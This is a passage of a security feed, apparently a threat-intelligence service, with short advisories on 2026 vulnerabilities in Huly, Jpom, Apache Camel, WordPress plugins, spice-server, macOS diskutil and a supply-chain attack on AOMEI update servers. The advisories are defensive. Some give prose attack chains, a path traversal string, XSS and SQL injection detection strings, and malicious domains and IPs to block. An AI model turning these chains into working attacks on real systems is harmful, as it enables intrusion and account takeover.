]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>credential-access</category><category>information-disclosure</category><category>vulnerability-management</category></item><item><title>Missing Authorization Vulnerability in Huly Platform</title><link>https://feed.craftedsignal.io/briefs/2026-10-huly-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:46:26 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-huly-auth-bypass/</guid><description>Huly Platform versions through 0.7.432 contain a missing authorization vulnerability in the mergeSpecifiedPersons RPC, enabling authenticated account takeover.</description><content:encoded><![CDATA[<p>Huly Platform versions through 0.7.432 contain a critical missing authorization vulnerability (CVE-2026-111606) within the 'mergeSpecifiedPersons' account RPC. This flaw allows any authenticated user to merge arbitrary user accounts by providing the corresponding person UUIDs. By leveraging this RPC, an attacker can graft their own unverified social identities onto a victim's account profile. Once the accounts are merged, the attacker can force password recovery or authentication flows to gain full control over the target's account. This vulnerability poses a significant risk to organizational identity integrity within the Huly environment, as it facilitates unauthorized access to arbitrary user accounts without requiring administrative privileges, provided the attacker can identify the target's UUID.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability results in full account takeover capabilities for any authenticated user within the Huly Platform. This can lead to unauthorized access to sensitive project data, internal communications, and other platform resources associated with the compromised user account. All instances of Huly Platform running versions 0.7.432 and earlier are affected.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritized, concrete actions for detection engineering teams:</p>
<ul>
<li>Update Huly Platform to a patched version beyond 0.7.432 immediately.</li>
<li>Review access logs for excessive or unusual calls to the 'mergeSpecifiedPersons' RPC endpoint.</li>
<li>Monitor for anomalous account identity associations or suspicious social login activity linked to previously established user accounts.</li>
<li>Implement restrictive access controls on account management RPCs to prevent unauthorized users from performing identity merge operations.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>identity-management</category><category>authentication-bypass</category><category>cve-2026-111606</category></item><item><title>Authorization Bypass Vulnerability in Jpom SshFileController</title><link>https://feed.craftedsignal.io/briefs/2026-10-jpom-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:46:19 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-jpom-auth-bypass/</guid><description>Jpom versions through 2.11.12 contain an authorization bypass vulnerability allowing authenticated users to perform unauthorized file operations on SSH hosts across different workspaces.</description><content:encoded><![CDATA[<p>Jpom versions up to and including 2.11.12 contain a critical authorization bypass vulnerability located in the SshFileController component, identified as CVE-2026-111605. This vulnerability allows an authenticated user with existing file management permissions in their own workspace to gain unauthorized access to SSH hosts associated with other workspaces. By manipulating the SSH asset identifier within API requests, a malicious user can bypass workspace-level access controls.</p>
<p>This flaw grants the attacker unauthorized access to various file management endpoints, including downloading, uploading, reading, modifying, renaming, and deleting files on the compromised SSH host. The vulnerability represents a significant risk to environment isolation within the Jpom management platform, potentially leading to unauthorized data exfiltration or system modification. Defenders should prioritize patching to the version addressing this authorization flaw.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows for horizontal privilege escalation within Jpom, enabling attackers to execute sensitive file operations on SSH hosts outside their assigned workspace scope. If exploited, an attacker can read, modify, or delete files on any SSH host managed by the Jpom instance, facilitating data theft or persistence via configuration changes. The impact is significant for multi-tenant or multi-workspace environments.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Upgrade Jpom to a version released after 2.11.12 that incorporates a patch for CVE-2026-111605.</li>
<li>Implement monitoring on Jpom web API endpoints to alert on unusual usage patterns where a single authenticated session interacts with multiple distinct SSH asset IDs.</li>
<li>Review access logs for the Jpom SshFileController endpoints mentioned (download, upload, read_file_data.json, etc.) to identify anomalies originating from accounts that should only have workspace-restricted access.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>auth-bypass</category><category>cve-2026-111605</category><category>jpom</category><category>privilege-escalation</category></item><item><title>UNC7017 Supply Chain Attack via AOMEI Backupper Update Infrastructure</title><link>https://feed.craftedsignal.io/briefs/2026-10-aomei-update-tampering/</link><pubDate>Fri, 16 Oct 2026 18:27:42 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-aomei-update-tampering/</guid><description>UNC7017 performed an opportunistic supply chain attack by intermittently compromising AOMEI update servers to deliver backdoors, credential-harvesting pop-ups, and remote administration tools to Windows users.</description><content:encoded><![CDATA[<p>Between May and July 2026, the threat actor UNC7017 conducted a sophisticated, short-lived supply chain attack against AOMEI Technology. By gaining unauthorized access to AOMEI update servers, the attackers repeatedly replaced configuration files (down_html.ini and Notifycfg.ini) for short windows of 5-10 minutes. Because the AOMEI Backupper software lacks cryptographic verification for these update files, compromised clients automatically downloaded and executed malicious payloads delivered via the update flow.</p>
<p>The campaign avoided detection by reverting the server-side configuration to legitimate files immediately after the malicious windows, ensuring that triage attempts checking the vendor's site would appear clean. The attack targets included organizations in IT services, telecommunications, and education across 11 countries. The campaign notably utilized both binary implants and a non-executable WebDAV-based NTLM credential harvesting technique. AOMEI has reported taking corrective server-side actions, but no software update has been released to address the lack of cryptographic verification in the update mechanism itself.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker gains unauthorized write access to AOMEI update server infrastructure.</li>
<li>Attacker replaces 'down_html.ini' and 'Notifycfg.ini' with malicious variants for a 5-10 minute window.</li>
<li>Target AOMEI Backupper process checks for updates over HTTPS and downloads the attacker-specified malicious package.</li>
<li>'Notifycfg.ini' triggers the execution of the downloaded malicious package with the privileges of the AOMEI service.</li>
<li>The 'CROSSROAD' downloader executes, creates a scheduled task for persistence, and removes itself from the disk.</li>
<li>The scheduled task invokes a signed, legitimate Radmin binary paired with a malicious DLL that loads the 'SHINYROAD' backdoor.</li>
<li>'SHINYROAD' establishes C2 communication; attackers may subsequently push the Adaptix framework disguised as Nitro PDF software.</li>
<li>In some instances, the attacker triggers an invisible WebDAV pop-up to force NTLMv2 authentication credential leakage.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>The campaign successfully compromised systems across 11 countries, including Australia, Brazil, India, Pakistan, Portugal, Singapore, South Africa, Spain, Switzerland, Türkiye, and the United States. Successfully infected machines grant the actor remote shell access, persistence, and potential credential harvesting capabilities. As the implant runs with the privileges of the AOMEI service, it can facilitate system-wide software installation and code execution, representing a significant compromise of the host environment.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Hunt for unauthorized scheduled tasks including 'RadminComponentRuntime' or 'NitroRuntime' created between May and July 2026.</li>
<li>Block outbound connections to the malicious infrastructure (storage-data[.]com, promotion.storage-data[.]com, aomei.storage-data[.]com) and the associated IP addresses (8.210.84.56, 8.218.65.184, 47.239.60.117).</li>
<li>Block outbound SMB (TCP 445) and WebDAV traffic from internal hosts to unauthorized external destinations to prevent NTLM credential relay.</li>
<li>Inspect file system logs for unsigned executables or suspicious binaries originating from AOMEI's local application data folders.</li>
<li>Deploy Sigma rules to detect the creation of unusual scheduled tasks from AOMEI-related processes.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">threat</category><category>supply-chain</category><category>backdoor</category><category>remote-access</category><category>credential-harvesting</category></item><item><title>Multiple Vulnerabilities in Moxa AIG-302 Industrial Computing Products</title><link>https://feed.craftedsignal.io/briefs/2026-10-moxa-aig-302-vulnerabilities/</link><pubDate>Fri, 16 Oct 2026 16:43:39 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-moxa-aig-302-vulnerabilities/</guid><description>Moxa has disclosed two critical vulnerabilities, CVE-2026-109812 and CVE-2026-109813, affecting the AIG-302 industrial computing series firmware version 1.4.1 and earlier.</description><content:encoded><![CDATA[<p>Moxa has issued security advisory MPSA-262560 regarding vulnerabilities CVE-2026-109812 and CVE-2026-109813, which impact the AIG-302 series of industrial computers. These vulnerabilities affect all firmware versions up to and including v1.4.1. The vulnerabilities reside within the industrial computing platform, potentially exposing operational technology (OT) environments to unauthorized access or control if exploited. Given the nature of these industrial devices, successful exploitation could lead to system instability, unauthorized configuration changes, or the potential for lateral movement within a critical infrastructure network. Defenders should prioritize reviewing the vendor advisory and applying firmware updates to remediate these security gaps across their deployed industrial computing fleet.</p>
<h2 id="impact">Impact</h2>
<p>The AIG-302 series is utilized in industrial automation environments where system uptime and integrity are critical. If these vulnerabilities are successfully exploited, attackers could gain unauthorized influence over the device's functionality, leading to service disruption or potential compromise of the industrial control network. Organizations relying on these devices in manufacturing, energy, or utility sectors are at risk if patches are not applied according to the vendor's guidance.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Review the Moxa security advisory MPSA-262560 for specific mitigation details and patch availability.</li>
<li>Audit OT environments for the presence of Moxa AIG-302 Series devices and verify firmware versions currently in operation.</li>
<li>Update all instances of AIG-302 Series hardware to the latest firmware version released by Moxa to remediate CVE-2026-109812 and CVE-2026-109813.</li>
<li>Implement network segmentation for industrial gateways to limit exposure to these devices from non-essential internal and external network segments.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>industrial-control-systems</category><category>vulnerability</category><category>ot-security</category></item><item><title>Multiple Vulnerabilities in Google Chrome</title><link>https://feed.craftedsignal.io/briefs/2026-10-google-chrome-vulnerabilities/</link><pubDate>Fri, 16 Oct 2026 16:29:40 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-google-chrome-vulnerabilities/</guid><description>Google Chrome contains multiple vulnerabilities that can be exploited by a remote, anonymous attacker to achieve arbitrary code execution or cause a denial-of-service condition.</description><content:encoded><![CDATA[<p>The German Federal Office for Information Security (BSI) has reported that Google Chrome is affected by multiple security vulnerabilities. These flaws allow a remote, anonymous attacker to trigger arbitrary code execution (ACE) or a denial-of-service (DoS) condition on vulnerable systems. The vulnerabilities affect Google Chrome across Windows, Linux, and macOS platforms. Given the ubiquity of the browser as an entry point for web-based attacks, these vulnerabilities represent a significant risk to organizational environments if left unpatched. Defenders should prioritize updating browser instances to the latest stable release provided by Google to mitigate the risk of remote compromise.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of these vulnerabilities allows an attacker to execute arbitrary code within the context of the browser, potentially leading to full system compromise if chained with sandbox escapes. Alternatively, an attacker could cause a DoS condition, impacting browser availability and productivity. These vulnerabilities affect all major desktop operating systems running Google Chrome.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Monitor and enforce the update of all Google Chrome browser instances to the latest version as specified in the official Google Chrome release notes.</li>
<li>Audit software inventories to identify and remediate outdated versions of Google Chrome across the fleet.</li>
<li>Disable unused browser extensions and enforce a restrictive extension policy to reduce the attack surface for potential remote exploitation.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>browser</category><category>vulnerability</category><category>remote-code-execution</category></item><item><title>Arbitrary Code Execution Vulnerability in Nutanix AOS and Prism Central</title><link>https://feed.craftedsignal.io/briefs/2026-10-nutanix-rce/</link><pubDate>Fri, 16 Oct 2026 16:27:59 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-nutanix-rce/</guid><description>A vulnerability in Nutanix AOS and Nutanix Prism Central allows a remote, unauthenticated attacker to bypass security controls and execute arbitrary code with administrative privileges.</description><content:encoded><![CDATA[<p>Nutanix has disclosed a critical security vulnerability affecting Nutanix AOS and Nutanix Prism Central that enables unauthenticated remote attackers to achieve arbitrary code execution with administrative privileges. By exploiting this flaw, an attacker can bypass existing security controls to gain full control over the affected infrastructure components. This vulnerability represents a significant risk to the confidentiality, integrity, and availability of managed environments. Organizations utilizing Nutanix AOS or Prism Central are urged to evaluate their exposure and apply security patches or mitigations provided by the vendor immediately to prevent unauthorized access and potential system compromise.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability grants an attacker administrative-level access to Nutanix AOS or Prism Central environments. This allows for full compromise of the affected virtualization management infrastructure, potentially resulting in data exfiltration, lateral movement within the data center, and the disruption of critical business services managed by the Nutanix platform.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Monitor vendor security channels for the release of security patches addressing this flaw in Nutanix AOS and Prism Central.</li>
<li>Implement network segmentation to restrict access to Prism Central management interfaces to known, authorized administrative hosts only.</li>
<li>Audit logs for unauthorized access attempts or suspicious management traffic targeting the AOS and Prism Central control planes.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Apache Camel FTP Component Path Traversal Vulnerability</title><link>https://feed.craftedsignal.io/briefs/2026-10-camel-ftp-traversal/</link><pubDate>Fri, 16 Oct 2026 13:33:53 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-camel-ftp-traversal/</guid><description>Apache Camel's camel-ftp component contains a path traversal vulnerability (CVE-2026-79983) allowing unauthorized file operations outside the intended directory via malicious server-supplied file listings.</description><content:encoded><![CDATA[<p>Apache Camel, specifically the <code>camel-ftp</code> component, is vulnerable to a path traversal issue (CVE-2026-79983) that allows an attacker to read, rename, or delete files outside of the defined polled directory. The vulnerability arises because remote-file consumers construct absolute paths by concatenating the configured polling directory with the file name reported in the server directory listing without sufficient validation or lexical normalization.</p>
<p>Because the FTP control channel lacks inherent integrity protection, an attacker performing a man-in-the-middle attack or an attacker controlling a malicious or multi-tenant FTP server can inject crafted file names containing directory traversal sequences such as 'd/../../'. If the service is configured with options like 'delete=true', 'move', 'preMove', or 'readLock=rename', the vulnerable consumer may perform these actions on unauthorized files using the credentials of the Camel service itself. The vulnerability affects Camel versions 4.0.0 through 4.18.4 and 4.19.0 through 4.22.0.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows for unauthorized file access, including reading sensitive system files or deleting/renaming files on the filesystem accessible to the Camel service. In environments where the service account has elevated privileges, this could result in significant data exfiltration or service disruption. The risk is particularly high for implementations using cleartext FTP or those connecting to untrusted or multi-tenant remote FTP servers.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade Apache Camel to version 4.18.5, 4.22.1, 4.23.0, or later to incorporate the fix for CVE-2026-79983.</li>
<li>If immediate patching is not feasible, migrate from insecure FTP to SFTP or FTPS to ensure transport integrity and verify host certificates to prevent MITM-based listing manipulation.</li>
<li>Implement strict filters on file consumers using 'antInclude' or 'include' options to restrict processing to expected file name patterns.</li>
<li>Restrict the permissions of the FTP service account to only the specific directory intended for polling to minimize the scope of potential traversal.</li>
<li>Monitor application logs for files being processed that appear to resolve outside of the intended root directory, which may indicate exploitation attempts.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>camel-ftp</category><category>path-traversal</category><category>cve-2026-79983</category><category>apache-camel</category></item><item><title>Stored Cross-Site Scripting in WP Sessions Time Monitoring Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-wp-sessions-xss/</link><pubDate>Fri, 16 Oct 2026 12:26:22 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-wp-sessions-xss/</guid><description>The WP Sessions Time Monitoring Full Automatic WordPress plugin up to version 1.1.5 is vulnerable to stored XSS via multiple input parameters, allowing unauthenticated attackers to execute arbitrary scripts in the context of user sessions.</description><content:encoded><![CDATA[<p>The WP Sessions Time Monitoring Full Automatic plugin for WordPress (all versions up to and including 1.1.5) contains a critical security flaw involving insufficient input sanitization and output escaping. This vulnerability allows an unauthenticated attacker to perform Stored Cross-Site Scripting (XSS) attacks by injecting malicious JavaScript via various input parameters, including 'action', 'function', 'plugin', 'post_type', 'post_status', 'ids', 'loggedout', and 'post_title'.</p>
<p>When an administrative user or a logged-in user views a page where the attacker has successfully stored this malicious script, the code executes within the victim's browser session. This can lead to unauthorized account actions, session hijacking, or the defacement of the affected WordPress site. Because the vulnerability is exploitable by unauthenticated attackers, it represents a significant risk to site integrity and administrative session security.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An unauthenticated attacker identifies a target WordPress site running the WP Sessions Time Monitoring Full Automatic plugin version 1.1.5 or earlier.</li>
<li>The attacker crafts a malicious HTTP POST or GET request targeting the vulnerable endpoints within the plugin.</li>
<li>The attacker injects a persistent JavaScript payload into one of the susceptible parameters: 'action', 'function', 'plugin', 'post_type', 'post_status', 'ids', 'loggedout', or 'post_title'.</li>
<li>The plugin fails to sanitize the input and stores the script directly into the WordPress database.</li>
<li>The attacker waits for an authenticated administrator or user to navigate to the specific page or dashboard area that renders the malicious entry.</li>
<li>The victim's browser retrieves the stored payload from the database and executes the JavaScript in the context of the active session.</li>
<li>The script performs unauthorized actions on behalf of the victim or exfiltrates session cookies to an attacker-controlled server.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to execute arbitrary web scripts in the browser of site administrators. This can lead to full administrative account takeover, modification of site content, installation of additional backdoors via the WordPress admin panel, or theft of sensitive user data. As of the report date, all installations using version 1.1.5 or earlier are considered vulnerable.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately update the &quot;WP Sessions Time Monitoring Full Automatic&quot; plugin to the latest version, ensuring the patch is applied for CVE-2026-107648.</li>
<li>Monitor web server access logs for anomalous POST requests containing script-related characters such as <code>&lt;script</code>, <code>onerror=</code>, or <code>onload=</code> within the identified vulnerable parameters.</li>
<li>Implement a Content Security Policy (CSP) to restrict the execution of inline scripts and mitigate the impact of stored XSS vulnerabilities.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-vulnerability</category><category>wordpress</category><category>xss</category></item><item><title>Heap-Based Buffer Overflow in spice-server GLZ Encoder</title><link>https://feed.craftedsignal.io/briefs/2026-10-spice-server-heap-overflow/</link><pubDate>Fri, 16 Oct 2026 12:26:15 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-spice-server-heap-overflow/</guid><description>An authenticated attacker can trigger a heap-based buffer overflow in spice-server during VM live migration by exploiting an integer truncation vulnerability in the GLZ encoder dictionary restore path.</description><content:encoded><![CDATA[<p>A critical integer truncation vulnerability (CVE-2026-105959) exists in the spice-server, specifically within the GLZ encoder dictionary restore path. The flaw occurs when a size_t allocation size is incorrectly truncated to an int when calling the memory allocation callback. An authenticated attacker acting as a SPICE client can leverage this vulnerability during the live migration of a virtual machine. By submitting a crafted max_encoders value in the migration data, the attacker forces the application to allocate an insufficient amount of memory, resulting in a heap buffer overflow. If successful, this attack could lead to arbitrary code execution within the context of the SPICE server process or induce a denial of service by crashing the virtual machine environment.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability affects instances using spice-server, common in virtualization environments that provide remote display access to virtual machines. Successful exploitation allows an authenticated client to compromise the underlying virtualization host or service process. This presents a high risk for cloud providers, data centers, and enterprise environments managing virtualized infrastructure, potentially leading to cross-VM data access or service disruption.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Monitor virtual machine migration logs for abnormal SPICE protocol traffic.</li>
<li>Patch the spice-server component to the latest available vendor release addressing CVE-2026-105959.</li>
<li>Review access controls for SPICE protocol endpoints to ensure only authorized clients can initiate or interact with VM migration sessions.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>CVE-2023-42931 Privilege Escalation in macOS diskutil</title><link>https://feed.craftedsignal.io/briefs/2026-10-macos-privesc/</link><pubDate>Fri, 16 Oct 2026 10:33:12 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-macos-privesc/</guid><description>A local privilege escalation vulnerability in the macOS diskutil utility allows unprivileged users to gain root access via manipulated filesystem mounting.</description><content:encoded><![CDATA[<p>CVE-2023-42931 is a local privilege escalation vulnerability affecting multiple versions of macOS, including Monterey, Ventura, and Sonoma. The vulnerability resides in the 'diskutil' command-line utility, which fails to properly restrict filesystem mounting options when invoked by unprivileged users. An attacker can leverage this flaw to gain full root control of the host system. The vulnerability was publicly disclosed alongside a functional proof-of-concept exploit that automates the exploitation process. The exploit targets how 'diskutil' manages filesystem permissions, allowing for the deployment and execution of setuid binaries. Given the availability of this exploit code, unpatched systems are at significant risk of unauthorized administrative access.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>The unprivileged attacker initiates the exploit script on a local macOS endpoint.</li>
<li>The script interacts with the 'diskutil' utility to trigger a filesystem mount operation.</li>
<li>The attacker provides crafted filesystem options to 'diskutil' to bypass existing security restrictions.</li>
<li>The script creates a malicious setuid shell payload.</li>
<li>The payload is moved to a target placeholder file on the mounted filesystem.</li>
<li>The script uses 'diskutil' or system utilities to explicitly set the setuid bit on the malicious binary.</li>
<li>The attacker executes the setuid binary to execute code with root privileges.</li>
<li>The final objective is the acquisition of a root shell for full system control and persistence.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2023-42931 results in a full local privilege escalation, granting the attacker root privileges on the compromised macOS device. This provides the actor with unrestricted access to sensitive user data, system configuration, and the ability to disable security controls or maintain persistent access. The vulnerability affects macOS versions prior to 12.7.2, 13.6.3, and 14.2.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Prioritize updating all macOS endpoints to versions 12.7.2, 13.6.3, 14.2 or later to patch CVE-2023-42931.</li>
<li>Monitor process execution logs for suspicious usage of 'diskutil' in combination with setuid or chmod commands by non-administrative users.</li>
<li>Review audit logs for instances where non-privileged accounts successfully elevate to root (uid 0) using unauthorized binaries.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">threat</category><category>privilege-escalation</category><category>macos</category><category>local-exploitation</category></item><item><title>Stored XSS Vulnerability in GoSMTP Pro for WordPress</title><link>https://feed.craftedsignal.io/briefs/2026-10-gosmtp-xss/</link><pubDate>Fri, 16 Oct 2026 10:26:16 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-gosmtp-xss/</guid><description>An unauthenticated stored XSS vulnerability in GoSMTP Pro (&lt;= 1.2.3) allows attackers to inject arbitrary web scripts via email log body content.</description><content:encoded><![CDATA[<p>The GoSMTP Pro plugin for WordPress is affected by a stored Cross-Site Scripting (XSS) vulnerability, tracked as CVE-2026-96768, which affects all versions up to and including 1.2.3. The flaw exists due to insufficient input sanitization and output escaping when processing email log body content. An unauthenticated attacker can exploit this by crafting a malicious payload that bypasses WordPress's standard moderation filters, as the plugin incorrectly handles entity-encoded tag delimiters.</p>
<p>When the payload is processed, it is written verbatim into the plugin's email log database table. The malicious script executes in the browser of any user - typically an administrator - who views the email log via the WordPress dashboard. Because the payload passes initial moderation checks as safe text before being decoded, this vulnerability presents a significant risk for session hijacking or unauthorized administrative actions. Defenders should prioritize patching or disabling the plugin until an update is applied.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability enables unauthenticated attackers to execute arbitrary JavaScript in the context of an authenticated user's session. If successful, this can lead to full account takeover of administrative accounts, unauthorized configuration changes, or the injection of additional malicious content within the WordPress environment. This vulnerability affects all installations of GoSMTP Pro version 1.2.3 and below.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately disable the GoSMTP Pro plugin until a patch is available or upgrade to a version remediating CVE-2026-96768.</li>
<li>Audit WordPress administrative dashboard access logs for suspicious activity targeting email log views.</li>
<li>Implement or strengthen Content Security Policy (CSP) headers to restrict the execution of unauthorized scripts in the WordPress dashboard.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>SQL Injection in Vitepos POS for WooCommerce</title><link>https://feed.craftedsignal.io/briefs/2026-10-vitepos-sqli/</link><pubDate>Fri, 16 Oct 2026 10:26:10 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-vitepos-sqli/</guid><description>The Vitepos plugin for WooCommerce is vulnerable to unauthenticated SQL injection via the 'src_by' parameter, potentially allowing unauthorized database information extraction.</description><content:encoded><![CDATA[<p>The Vitepos - Point of Sale (POS) for WooCommerce plugin for WordPress (versions up to and including 3.5.1) contains a critical SQL injection vulnerability identified as CVE-2026-92766. The flaw exists within the /vitepos/v1/vendor/list REST API route, specifically via the 'src_by' parameter. The vulnerability arises from improper input sanitization and a failure to utilize prepared statements when constructing database queries. Furthermore, the permission callback for the vulnerable REST route is insufficient, requiring only a basic POS role assignment (such as vtpos-cashier) rather than standard WordPress administrative privileges. This combination allows unauthenticated or low-privileged users to manipulate back-end database queries, posing a significant risk of data exfiltration or unauthorized database access.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability permits an attacker to perform SQL injection attacks against the underlying WordPress database. This could result in the unauthorized disclosure of sensitive data, including customer information, credentials, or internal configuration data managed by the WooCommerce store. The impact is significant for organizations relying on this plugin for POS operations, as the affected endpoint is publicly reachable by default.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Patch immediately by updating the Vitepos - Point of Sale (POS) for WooCommerce plugin to the latest version that addresses CVE-2026-92766.</li>
<li>Review access logs for web requests targeting the /vitepos/v1/vendor/list endpoint that include suspicious characters (e.g., ;, --, OR, UNION) in the 'src_by' parameter.</li>
<li>Restrict access to the WooCommerce REST API for non-administrative roles until the plugin has been patched.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application-vulnerability</category><category>sqli</category><category>wordpress</category></item><item><title>Account Footprinting via Observable Response Discrepancy in Ikas E-Commerce Infrastructure</title><link>https://feed.craftedsignal.io/briefs/2026-10-ikas-account-footprinting/</link><pubDate>Fri, 16 Oct 2026 10:26:03 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-ikas-account-footprinting/</guid><description>An observable response discrepancy vulnerability (CVE-2026-14177) in Ikas E-Commerce Infrastructure allows unauthorized actors to perform account footprinting by analyzing varying platform responses.</description><content:encoded><![CDATA[<p>CVE-2026-14177 describes an observable response discrepancy vulnerability affecting the Ikas E-Commerce Infrastructure platform. This vulnerability allows for account footprinting, a reconnaissance technique where an attacker can determine the existence or validity of specific user accounts by observing differences in application response behavior (e.g., timing, HTTP status codes, or error message variations). The issue impacts all versions of the Ikas E-Commerce Infrastructure released through July 13, 2026. Because this flaw facilitates the systematic collection of intelligence regarding user accounts, it poses a significant risk for targeted phishing, credential stuffing, or further exploitation of authenticated sessions. Defenders should prioritize auditing authentication endpoints for side-channel information leaks that differentiate valid from invalid user identifiers.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation enables attackers to map the user base of a merchant's e-commerce storefront, providing a list of valid accounts that can be targeted for credential stuffing or social engineering. This reconnaissance capability degrades the security posture of all shops hosted on the Ikas platform, potentially leading to unauthorized account access and data exfiltration.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Audit application logs for spikes in requests to login or password reset endpoints that result in varied response times or differing HTTP status codes, as these are indicative of account footprinting.</li>
<li>Standardize error responses across all authentication and recovery endpoints to ensure valid and invalid account attempts produce identical responses, preventing information leakage.</li>
<li>Coordinate with Ikas Technology Inc. support to verify if the vendor has provided a patch or configuration mitigation for the environment, as this affects instances deployed through July 13, 2026.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>reconnaissance</category><category>web-application</category><category>vulnerability</category></item><item><title>Arbitrary File Upload in DoubleScale CRM Plugin for WordPress</title><link>https://feed.craftedsignal.io/briefs/2026-10-doublescale-crm-rce/</link><pubDate>Fri, 16 Oct 2026 10:25:56 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-doublescale-crm-rce/</guid><description>An arbitrary file upload vulnerability in the DoubleScale CRM plugin for WordPress up to version 1.5.1 allows authenticated subscribers to achieve remote code execution when the Helpdesk module is enabled.</description><content:encoded><![CDATA[<p>The DoubleScale CRM plugin for WordPress, in versions up to and including 1.5.1, contains a critical arbitrary file upload vulnerability. The flaw exists within the store_upload function, which is exposed via a REST API endpoint registered only when the Helpdesk module is active. The root cause is a flawed extension validation mechanism in the extension_is_allowed function. This function incorrectly validates files by relying on wp_check_filetype, which can return an empty type for unrecognized extensions such as .php, and subsequently failing open. Because the vulnerability only requires a low-privilege (subscriber) account and lacks sufficient capability checks, an attacker can upload arbitrary executable files to the web server, resulting in remote code execution (RCE). This vulnerability is tracked as CVE-2026-111311.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-111311 allows an authenticated attacker with at least subscriber-level permissions to execute arbitrary code on the underlying server. This could lead to a complete site compromise, data exfiltration, or lateral movement within the hosting environment. WordPress installations using the DoubleScale plugin with the Helpdesk module enabled are at high risk.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately update the DoubleScale CRM plugin to a version addressing CVE-2026-111311.</li>
<li>Disable the Helpdesk module if it is not required for business operations to mitigate the attack surface for this vulnerability.</li>
<li>Audit user roles and permissions to ensure that subscriber accounts are limited to necessary functions only.</li>
<li>Monitor web server logs for POST requests to REST endpoints associated with the DoubleScale CRM plugin, particularly those resulting in file creation within the WordPress uploads directory.</li>
</ul>
